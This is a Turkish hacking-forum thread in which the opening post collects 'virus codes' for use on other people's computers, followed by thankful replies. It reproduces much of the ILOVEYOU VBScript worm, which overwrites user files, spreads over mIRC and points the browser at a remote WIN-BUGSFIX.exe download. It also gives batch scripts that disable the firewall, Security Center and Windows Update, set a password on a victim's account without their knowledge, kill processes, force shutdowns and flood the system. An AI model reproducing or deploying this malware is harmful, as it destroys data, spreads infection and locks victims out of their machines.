downread=regget("HKEY_CURRENT_USER\Software\Micros oft\Intern et Explorer\Download Directory") if (downread="") then downread="c:\" end if if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf 7679njbvYT /WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGq**198vbFV5hfFEkbopBdQZnmPOhfgER67b3V bvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe" end if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \Cur rentVersio n\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank" end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"\") end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.i ni") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( şnick == şme ) { halt }" scriptini.WriteLine "n2= /.dcc send şnick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 _________________________________________ sırada karşıdaki pc ye karşıdakinin haberi olmadan şifre koymak var aşağıdaki kdou .bat çevirip gönderin net user %username% [parola] _________________________________________ sıradaki kod karşıdakinin ekranını ve msn sini kaptıyor aşağıdaki kodları ne kadar çok yazarsanız karşıdaki pc nin ekranı ve msn si o kadar uzun süre kapanır start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer start tskill msnmsgr start tskill explorer 6.Sayfa Virus Kodları @echo off net stop "Security Center" net stop SharedAccess > "%Temp%.\kill.reg" ECHO A R E S >>"%Temp%.\kill.reg" ECHO. >>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess] >>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004 >>"%Temp%.\kill.reg" ECHO. >>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\wuauserv] >>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004 >>"%Temp%.\kill.reg" ECHO. >>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\w scsvc] >>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004 >>"%Temp%.\kill.reg" ECHO. START /WAIT REGEDIT /S "%Temp%.\kill.reg" DEL "%Temp%.\kill.reg" DEL %0 dosyayı notepad a yapıştırdıktan sonra .bat olarak kaydedin virüs hazır.. Evet Arkadaşlar Bunlarda Zararsız Virus Kodları Sadece Gıcık Eder :) Not Defterini Aç İçine Shutdown -s -t "6" -c "Pc ni Tamirciye Gönder yazın ama siz 6 sayısını ve Pc ni Tamirciye Gönder Yazısını Değiştirebilirsiniz yani 6 sayısı pc nin ne zaman kapanacağıdır Pc ni tamirciye gönder yazısı ise pc kapanmadan önceki not (mesaj) tur ... Buda 2. Zararsız Gıcık Edici Bir Vİrus Kodu Not Defterini Açın İçine start start start start start start start start start start start start start start start start start start start start start start start start start start start [B][COLOR=White][COLOR=Blue] start start start start start start start start start start start start start start start start start start Yazın ama Ne Kadar Yazarsanız Okadar Çok Program Açılacaktır Çok Abartmayın pc çöker :D BU KADAR YETER EVET BU İKİ TANE VERDİĞİM GICIK EDİCİ VİRUS KODLARINI DA Farklı kaydet ten ismini yazıyoruz ve sonuna .bat ekliyoruz .bat çok önemli dir :) Evet Bu Kadar :twist İşe Yarar Bunlar Evet Arkadaşlar Tüm Kodlar Bu Kadar bu kadardır arkdaslar tamamen alıntıdır. tesekür edmeden kulanmaya çalısana haram olsun

10-12-2012 20:09
#2
samet321 - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
10/2012
Mesajlar:
254
Teşekkür (Etti):
12
Teşekkür (Aldı):
116
Konular:
41
Ticaret:
(0) %
arkadaslar kodlar güzel degilmi kimse yorum atmıyor
hackerkimliksiz, hackerankara Teşekkür etti.
11-12-2012 14:29
#3
samet321 - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
10/2012
Mesajlar:
254
Teşekkür (Etti):
12
Teşekkür (Aldı):
116
Konular:
41
Ticaret:
(0) %
güncel//
hackerkimliksiz, hackerankara Teşekkür etti.
11-12-2012 14:35
#4
macgyver - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2012
Mesajlar:
2.866
Teşekkür (Etti):
249
Teşekkür (Aldı):
435
Konular:
92
Ticaret:
(0) %
ellerine sağlık iyi derleme yapmışşın bu arada arka arkaya mesaj atma kardeşim
Kullanıcı İmzası
Ben iyi bir adam olamadım ama kimsenin de adamı olmadım!
hackerankara Teşekkür etti.
11-12-2012 14:40
#5
samet321 - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
10/2012
Mesajlar:
254
Teşekkür (Etti):
12
Teşekkür (Aldı):
116
Konular:
41
Ticaret:
(0) %
beki özür dilerim
hackerkimliksiz, hackerankara Teşekkür etti.
12-12-2012 19:57
#6
muhittin70 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
02/2012
Mesajlar:
12
Teşekkür (Etti):
5
Teşekkür (Aldı):
0
Konular:
1
Ticaret:
(0) %
buraya girer girmez pc me truva atı girmeye çalıştı sağolsun nod32 5 buldu ve karantinaya aldı
13-12-2012 17:40
#7
samet321 - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
10/2012
Mesajlar:
254
Teşekkür (Etti):
12
Teşekkür (Aldı):
116
Konular:
41
Ticaret:
(0) %
önemli degil
hackerkimliksiz, hackerankara Teşekkür etti.
13-12-2012 19:53
#8
HexSuPRaa - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2012
Nereden:
Exploit
Mesajlar:
2.126
Teşekkür (Etti):
315
Teşekkür (Aldı):
332
Konular:
191
Ticaret:
(0) %
ekran kodunu .bat olarak kendımde denedim hiç bişi olmadı diğer kodlar sorunsuz calısmakta
13-12-2012 20:04
#9
samet321 - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
10/2012
Mesajlar:
254
Teşekkür (Etti):
12
Teşekkür (Aldı):
116
Konular:
41
Ticaret:
(0) %
bazılarını denememistim
hackerkimliksiz, hackerankara Teşekkür etti.
15-12-2012 18:30
#10
ozan5151 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2010
Mesajlar:
64
Teşekkür (Etti):
43
Teşekkür (Aldı):
1
Konular:
11
Ticaret:
(0) %
Ellerine Sağlık Teşekkürler

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı